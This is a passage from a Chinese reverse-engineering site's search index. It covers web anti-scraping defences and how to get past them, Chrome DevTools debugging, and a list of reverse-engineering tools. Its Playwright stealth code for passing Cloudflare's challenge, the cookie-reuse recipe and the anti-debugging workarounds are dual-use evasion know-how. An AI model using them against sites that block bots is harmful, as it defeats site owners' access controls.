反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#8-蜜罐与陷阱"},{"categories":null,"collections":null,"content":"常见类型 陷阱类型 实现方式 原理 隐藏链接 display:none 的 \u003ca\u003e 标签 人类看不到不会点击 不可见表单 隐藏 \u003cinput\u003e 爬虫自动填写，人类不会 假数据页面 含标记数据的页面 追踪假数据传播 无限目录 动态生成无限分页链接 爬虫无限循环 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:8:1","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#常见类型"},{"categories":null,"collections":null,"content":"蜜罐检测 from bs4 import BeautifulSoup def is_honeypot(element) -\u003e bool: style = element.get(\"style\", \"\").lower() traps = [\"display:none\", \"display: none\", \"visibility:hidden\", \"opacity:0\", \"font-size:0\", \"left:-9999\"] if any(t in style for t in traps): return True classes = \" \".join(element.get(\"class\", [])).lower() return any(k in classes for k in [\"trap\", \"honey\", \"hidden\", \"invisible\"]) soup = BeautifulSoup(html, \"html.parser\") safe_links = [a[\"href\"] for a in soup.find_all(\"a\", href=True) if not is_honeypot(a)] 注意: 高级蜜罐通过外部 CSS 或 JS 控制可见性，仅检查内联样式不够，必要时需解析完整 CSS 规则。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:8:2","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#蜜罐检测"},{"categories":null,"collections":null,"content":"9. 综合反爬方案分析 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:9:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#9-综合反爬方案分析"},{"categories":null,"collections":null,"content":"主流商业产品 产品 厂商 核心技术 绕过难度 Bot Management Cloudflare JS 挑战 + Turnstile + ML 行为分析 ★★★★ Bot Manager Akamai Sensor Data + 设备指纹 + IP 情报 ★★★★★ Advanced Bot Protection PerimeterX (HUMAN) 行为生物识别 + JS 混淆 ★★★★★ DataDome DataDome ML 实时检测 + CAPTCHA ★★★★ Shape Security F5 Networks JS 代码变形 + 信号收集 ★★★★★ ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:9:1","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#主流商业产品"},{"categories":null,"collections":null,"content":"Cloudflare 多级防护 IP 防火墙 — 基于 IP 信誉的访问控制 速率限制 — 可配置的请求频率限制 JS Challenge — 轻量级 JS 计算挑战（五秒盾） Managed Challenge (Turnstile) — 根据风险评分决定是否展示 CAPTCHA Bot Management (企业版) — ML 行为分析 + JA3/JA4 指纹 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:9:2","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#cloudflare-多级防护"},{"categories":null,"collections":null,"content":"Akamai Sensor Data 结构 sensor_data: ├── 设备信息: UA / 屏幕分辨率 / 时区 ├── 浏览器指纹: Canvas hash / WebGL 渲染器 / AudioContext ├── 行为数据: 鼠标轨迹 / 键盘事件 / 触摸事件 / 滚动 └── 环境检测: 自动化工具 / DevTools / 虚拟机检测 逆向要点: Akamai JS 高度混淆且频繁更新（有时每天更新），直接逆向 sensor data 的维护成本极高。使用带 stealth 补丁的真实浏览器是更可持续的方案。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:9:3","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#akamai-sensor-data-结构"},{"categories":null,"collections":null,"content":"10. 实战对抗策略 💡 思路一句话: 反反爬的核心是「模拟真实用户」— 从指纹伪装（TLS/JA3/Canvas）到行为模拟（鼠标轨迹/请求间隔/页面停留），每一层都要尽量接近真实浏览器行为。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:10:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#10-实战对抗策略"},{"categories":null,"collections":null,"content":"绕过决策树 1. 有公开 API / RSS？ → 是 → 直接调用（最优方案） 2. 服务端渲染（SSR）？ → 是 → requests + 正确 Headers 3. 有 JS 挑战 / WAF？ → 否 → Playwright 渲染即可 4. 哪家 WAF？ → Cloudflare: Playwright+stealth+住宅代理 → Akamai: 真实浏览器+行为模拟+高质量代理 5. 有 CAPTCHA？ → 是 → 打码平台 API 6. 有 IP 限制？ → 是 → 代理池轮转 + 频率控制 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:10:1","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#绕过决策树"},{"categories":null,"collections":null,"content":"策略对比 策略 适用场景 成功率 速度 成本 requests + Headers 无 JS 防护的简单站点 ★★ ★★★★★ 免费 curl_cffi 模拟指纹 有 TLS/Header 检测 ★★★ ★★★★ 免费 Playwright + Stealth Cloudflare / 一般 WAF ★★★★ ★★ 免费 真实浏览器 + 行为模拟 高级 WAF (Akamai/PX) ★★★★★ ★ 代理费 逆向 JS 生成 Token 特定目标深度对抗 ★★★★ ★★★★★ 人力高 打码平台 + 自动化 有验证码拦截 ★★★★ ★★★ 按次计费 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:10:2","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#策略对比"},{"categories":null,"collections":null,"content":"专题：绕过 Cloudflare 五秒盾 Cloudflare 的\"I’m Under Attack Mode\"是一个常见的强力反机器人措施，用户会看到持续约五秒的\"Checking your browser…“页面，即\"五秒盾”。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:11:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#专题绕过-cloudflare-五秒盾"},{"categories":null,"collections":null,"content":"工作原理 五秒盾的核心是 JavaScript 挑战。首次访问时服务器返回高度混淆的 JS 代码，执行以下步骤： 环境检测 — 检查 window、document 等对象及浏览器指纹 计算密集型任务 — 执行复杂数学运算（现代浏览器 1-2 秒可完成，纯 requests 无法完成） 生成验证 Token — 计算结果作为 Token 提交给 Cloudflare 验证 设置身份 Cookie — 验证通过后设置 cf_clearance，后续请求携带即可免挑战 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:11:1","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#工作原理"},{"categories":null,"collections":null,"content":"绕过方案 方案一：Playwright 通过挑战（推荐） from playwright.sync_api import sync_playwright from playwright_stealth import stealth_sync def bypass_cloudflare(target_url: str) -\u003e tuple[str, dict]: with sync_playwright() as p: browser = p.chromium.launch( headless=False, args=[\"--disable-blink-features=AutomationControlled\"] ) context = browser.new_context(viewport={\"width\": 1920, \"height\": 1080}, locale=\"zh-CN\") page = context.new_page() stealth_sync(page) page.goto(target_url) # 等待 cf_clearance Cookie 出现 for _ in range(30): cookies = {c[\"name\"]: c[\"value\"] for c in context.cookies()} if \"cf_clearance\" in cookies: break page.wait_for_timeout(1000) content = page.content() browser.close() return content, cookies 方案二：提取 Cookie 后用 requests 复用 import requests # cf_clearance 绑定 IP + User-Agent，必须保持一致 cookies = {\"cf_clearance\": \"从浏览器获取的值\", \"__cf_bm\": \"对应的值\"} headers = {\"User-Agent\": \"获取 Cookie 时使用的 UA 字符串\"} resp = requests.get(\"https://protected-site.com/data\", cookies=cookies, headers=headers) 注意: 更换 IP 或 UA 后 cf_clearance 会失效，需重新通过挑战获取。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:11:2","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#绕过方案"},{"categories":null,"collections":null,"content":"调试技巧与断点设置 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:0:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#调试技巧与断点设置"},{"categories":null,"collections":null,"content":"概述 调试是逆向工程的核心技能。掌握高级调试技巧可以大幅提升逆向效率，快速定位关键代码，理解程序逻辑。 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:1:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 Chrome DevTools 基础 必需 浏览器开发者工具 JavaScript 基础 必需 JavaScript 基础 JavaScript 执行机制 推荐 JavaScript 执行机制 💡 提示: 调试是逆向工程的基本功。本配方详细介绍各种断点类型和调试技巧，是深入分析混淆代码的必备技能。 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:2:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#-前置知识"},{"categories":null,"collections":null,"content":"断点类型 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:3:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#断点类型"},{"categories":null,"collections":null,"content":"1. 行断点 (Line Breakpoint) 最基本的断点类型，点击行号即可设置。 快捷键: 设置/取消断点: 点击行号 禁用所有断点: Ctrl+F8 (Windows) / Cmd+F8 (Mac) 技巧: 在函数入口设置断点 在可疑的加密、签名函数处设置 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:3:1","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#1-行断点-line-breakpoint"},{"categories":null,"collections":null,"content":"2. 条件断点 (Conditional Breakpoint) 只有满足特定条件时才触发的断点。 设置方法: 右键行号 选择 “Add conditional breakpoint” 输入条件表达式 示例: // 只有当 user_id 为 12345 时才断点 user_id === 12345; // 只有当参数包含 'admin' 时才断点 params.username.includes(\"admin\"); // 循环中每 100 次才断点 i % 100 === 0; 使用场景: 大量循环中定位特定数据 多次调用的函数中定位特定参数 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:3:2","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#2-条件断点-conditional-breakpoint"},{"categories":null,"collections":null,"content":"3. 日志点 (Logpoint) 不暂停执行，只输出日志。 设置方法: 右键行号 选择 “Add logpoint” 输入要输出的表达式 示例: // 输出变量值 \"User ID:\", user_id; // 输出对象 \"Params:\", params; // 输出函数返回值 \"Result:\", calculateSign(params); 优势: 不影响代码执行流程 适合追踪变量变化 比插入 console.log 更方便 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:3:3","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#3-日志点-logpoint"},{"categories":null,"collections":null,"content":"4. DOM 断点 (DOM Breakpoint) 监控 DOM 变化。 类型: Subtree modifications: 子节点变化 Attribute modifications: 属性变化 Node removal: 节点移除 使用场景: 追踪动态生成的验证码图片 追踪价格数据的动态更新 追踪表单的自动填充 设置方法: Elements 面板选中元素 右键 -\u003e Break on 选择断点类型 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:3:4","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#4-dom-断点-dom-breakpoint"},{"categories":null,"collections":null,"content":"5. XHR/Fetch 断点 在网络请求发送时触发断点。 设置方法: Sources 面板 右侧 “XHR/fetch Breakpoints” 输入 URL 关键词 示例: /api/login /api/user/info sign token 使用场景: 快速定位 API 调用代码 追踪请求参数生成逻辑 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:3:5","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#5-xhrfetch-断点"},{"categories":null,"collections":null,"content":"6. 事件断点 (Event Listener Breakpoint) 在特定事件触发时断点。 常用事件: Mouse -\u003e click Mouse -\u003e mousedown/mouseup Keyboard -\u003e keydown/keyup Form -\u003e submit Timer -\u003e setTimeout/setInterval 使用场景: 不知道点击事件绑定在哪里 追踪表单提交逻辑 追踪定时器中的反调试代码 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:3:6","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#6-事件断点-event-listener-breakpoint"},{"categories":null,"collections":null,"content":"单步执行 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:4:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#单步执行"},{"categories":null,"collections":null,"content":"快捷键 操作 Windows/Linux Mac 说明 Step Over F10 F10 跳过函数，执行下一行 Step Into F11 F11 进入函数内部 Step Out Shift+F11 Shift+F11 跳出当前函数 Continue F8 F8 继续执行到下一个断点 Resume F8 F8 恢复脚本执行 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:4:1","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#快捷键"},{"categories":null,"collections":null,"content":"使用技巧 Step Over vs Step Into: 如果下一行是库函数（如 JSON.stringify），用 Step Over 如果下一行是业务函数（如 generateSign），用 Step Into Step Out: 进错函数了？用 Step Out 快速返回 Continue: 循环中不想一步步执行？在循环后设置断点，用 Continue 跳过 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:4:2","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#使用技巧"},{"categories":null,"collections":null,"content":"调用栈分析 (Call Stack) ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:5:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#调用栈分析-call-stack"},{"categories":null,"collections":null,"content":"查看调用栈 断点停下后，右侧 Call Stack 面板显示函数调用链： generateRequest (main.js:123) |- getData (utils.js:45) |- onClick (app.js:789) |- \u003canonymous\u003e ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:5:1","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#查看调用栈"},{"categories":null,"collections":null,"content":"使用技巧 从下往上看: 最下面是事件入口，最上面是当前位置 点击跳转: 点击任意一层可以查看该层的代码和变量 过滤库文件: 右键 -\u003e Blackbox script，隐藏第三方库 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:5:2","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#使用技巧-1"},{"categories":null,"collections":null,"content":"Scope 变量查看 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:6:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#scope-变量查看"},{"categories":null,"collections":null,"content":"作用域类型 Local: 当前函数的局部变量 Closure: 闭包变量 Global: 全局变量 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:6:1","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#作用域类型"},{"categories":null,"collections":null,"content":"技巧 查看复杂对象: 右键 -\u003e Store as global variable 在 Console 中操作该变量（会自动命名为 temp1, temp2…） 修改变量: 双击变量值可以直接修改 用于测试不同参数的影响 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:6:2","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#技巧"},{"categories":null,"collections":null,"content":"Console 调试技巧 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:7:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#console-调试技巧"},{"categories":null,"collections":null,"content":"条件输出 // 只有当条件满足时才输出 if (user_id === 12345) { console.log(\"Target user:\", user_id); } ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:7:1","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#条件输出"},{"categories":null,"collections":null,"content":"分组输出 console.group(\"User Info\"); console.log(\"ID:\", user_id); console.log(\"Name:\", username); console.groupEnd(); ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:7:2","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#分组输出"},{"categories":null,"collections":null,"content":"表格输出 const users = [ { id: 1, name: \"Alice\" }, { id: 2, name: \"Bob\" }, ]; console.table(users); ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:7:3","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#表格输出"},{"categories":null,"collections":null,"content":"性能测量 console.time(\"encrypt\"); // ... 加密代码 console.timeEnd(\"encrypt\"); // encrypt: 12.345ms ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:7:4","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#性能测量"},{"categories":null,"collections":null,"content":"堆栈追踪 console.trace(\"Where am I?\"); ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:7:5","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#堆栈追踪"},{"categories":null,"collections":null,"content":"高级调试技巧 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:8:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#高级调试技巧"},{"categories":null,"collections":null,"content":"1. Blackbox 第三方库 避免调试时进入 jQuery、React 等第三方库： 方法一: Settings -\u003e Blackboxing 添加模式：/node_modules/, /jquery.*.js 方法二: 在 Call Stack 中右键 -\u003e Blackbox script ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:8:1","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#1-blackbox-第三方库"},{"categories":null,"collections":null,"content":"2. 异步代码调试 问题: 异步代码断点后，Call Stack 断裂。 解决: 勾选 “Async” 按钮（Call Stack 上方），显示完整异步调用栈。 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:8:2","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#2-异步代码调试"},{"categories":null,"collections":null,"content":"3. Source Map 问题: 生产环境代码被压缩/混淆，无法调试。 解决: 如果有 Source Map 文件（.map），DevTools 会自动加载原始代码。 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:8:3","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#3-source-map"},{"categories":null,"collections":null,"content":"4. Local Overrides (本地替换) 用途: 修改线上 JS 文件并保存，刷新后依然生效。 步骤: Sources -\u003e Overrides 选择本地文件夹 修改文件并保存 (Ctrl+S) 应用: 删除反调试代码 添加日志输出 修改加密逻辑测试 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:8:4","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#4-local-overrides-本地替换"},{"categories":null,"collections":null,"content":"5. Snippets (代码片段) 用途: 保存常用的 Hook 脚本，快速执行。 步骤: Sources -\u003e Snippets 新建 Snippet 粘贴脚本，Ctrl+Enter 执行 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:8:5","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#5-snippets-代码片段"},{"categories":null,"collections":null,"content":"反调试对抗 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:9:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#反调试对抗"},{"categories":null,"collections":null,"content":"1. 无限 debugger 特征: setInterval(() =\u003e { debugger; }, 100); 绕过方法: 方法一: 右键断点行 -\u003e “Never pause here” 方法二: Hook Function.prototype.constructor (见 Hook 脚本) 方法三: Local Overrides 删除该段代码 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:9:1","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#1-无限-debugger"},{"categories":null,"collections":null,"content":"2. 检测 DevTools 打开 特征: setInterval(() =\u003e { if (window.outerWidth - window.innerWidth \u003e 160) { alert(\"DevTools detected!\"); window.location.href = \"about:blank\"; } }, 1000); 绕过方法: 使用独立窗口模式（Undock into separate window） Hook window.outerWidth 和 window.innerWidth ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:9:2","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#2-检测-devtools-打开"},{"categories":null,"collections":null,"content":"3. 检测时间差 特征: let start = Date.now(); debugger; let end = Date.now(); if (end - start \u003e 100) { console.log(\"Debugger detected!\"); } 绕过方法: Hook Date.now() 返回固定增量 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:9:3","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#3-检测时间差"},{"categories":null,"collections":null,"content":"实战示例 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:10:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#实战示例"},{"categories":null,"collections":null,"content":"示例一：追踪加密函数 目标: 找到生成 sign 参数的函数 步骤: Network 面板找到包含 sign 的请求 全局搜索 sign（可能有上百个结果） 设置 XHR 断点，URL 填 /api/ 刷新页面，断点停下 查看 Call Stack，定位到 generateSign 函数 单步调试，理解加密逻辑 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:10:1","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#示例一追踪加密函数"},{"categories":null,"collections":null,"content":"示例二：绕过滑块验证码 目标: 分析滑块验证逻辑 步骤: 右键滑块元素 -\u003e Break on -\u003e Attribute modifications 拖动滑块，断点停下 查看 Call Stack，找到验证函数 分析轨迹生成和验证逻辑 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:10:2","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#示例二绕过滑块验证码"},{"categories":null,"collections":null,"content":"相关章节 JavaScript Hook 脚本 浏览器开发者工具 逆向工程工作流 ","date":"2024-12-31","objectID":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/:11:0","tags":["Web","签名验证","加密分析","Hook","验证码","调试"],"title":"调试技巧与断点设置","uri":"/reverse_engineering/web/03-basic-recipes/debugging_techniques/#相关章节"},{"categories":null,"collections":null,"content":"逆向工程 GitHub 开源项目 本列表旨在收集和分类逆向工程领域的优秀开源项目，方便查阅和学习。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:0","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#逆向工程-github-开源项目"},{"categories":null,"collections":null,"content":"1. 动态分析与插桩工具 项目 Star 数量 描述 frida/frida 14.5k 跨平台动态插桩框架，支持 Windows, macOS, Linux, iOS, Android, 和 QNX。 DynamoRIO/dynamorio 1.8k Google 出品的跨平台动态二进制插桩框架。 intel/pin N/A Intel 出品的动态二进制插桩框架。 googleprojectzero/winafl 2.1k AFL 的一个分支，用于对 Windows 二进制文件进行模糊测试。 processhacker/processhacker 3.2k 强大的多用途工具，用于监控系统资源、调试软件和检测恶意软件。 eronnen/procmon-parser 170 Sysinternals Process Monitor (Procmon) 的日志解析器。 microsoft/Detours 1.9k 微软官方的 API Hooking 工具库。 easyhook/EasyHook 1.8k 强大的 Windows API Hooking 库。 tmate-io/tmate 3.5k 即时终端共享工具。 lief-project/LIEF 4k 用于解析、修改和抽象 ELF, PE, MachO 格式的库。 qbdi/QBDI 680 基于 LLVM 的动态二进制插桩框架。 jmpews/dobby 1.6k 轻量级、多平台、多架构的 Hook 框架。 aslody/whale 880 跨平台的 Hook 框架 (Android/iOS/Linux/macOS)。 iqiyi/xHook 1.6k 用于 Android aarch64/arm/x86 平台的 PLT hook 库。 facebook/fishhook 3.8k 在 iOS/macOS 上动态重绑定 Mach-O 二进制文件中的符号。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:1","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#1-动态分析与插桩工具"},{"categories":null,"collections":null,"content":"2. 反汇编器与反编译器 项目 Star 数量 描述 NationalSecurityAgency/ghidra 47.9k NSA 出品的软件逆向工程框架，包含反编译器。 yegord/snowman 1.8k 支持 x86, ARM 和 x86-64 的反编译器。 aquynh/capstone 7.4k 强大的多架构反汇编框架。 keystone-engine/keystone 3.9k 轻量级多架构汇编器框架。 unicorn-engine/unicorn 7.5k 基于 QEMU 的多架构 CPU 模拟器框架。 lifting-bits/mcsema 1.7k 将 x86/64, aarch64 二进制文件提升到 LLVM IR。 avast/retdec-idaplugin 500+ RetDec 反编译器的 IDA 插件。 airbus-seclab/bincat 1k 二进制代码静态分析工具，支持值分析、污点分析和类型推断。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:2","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 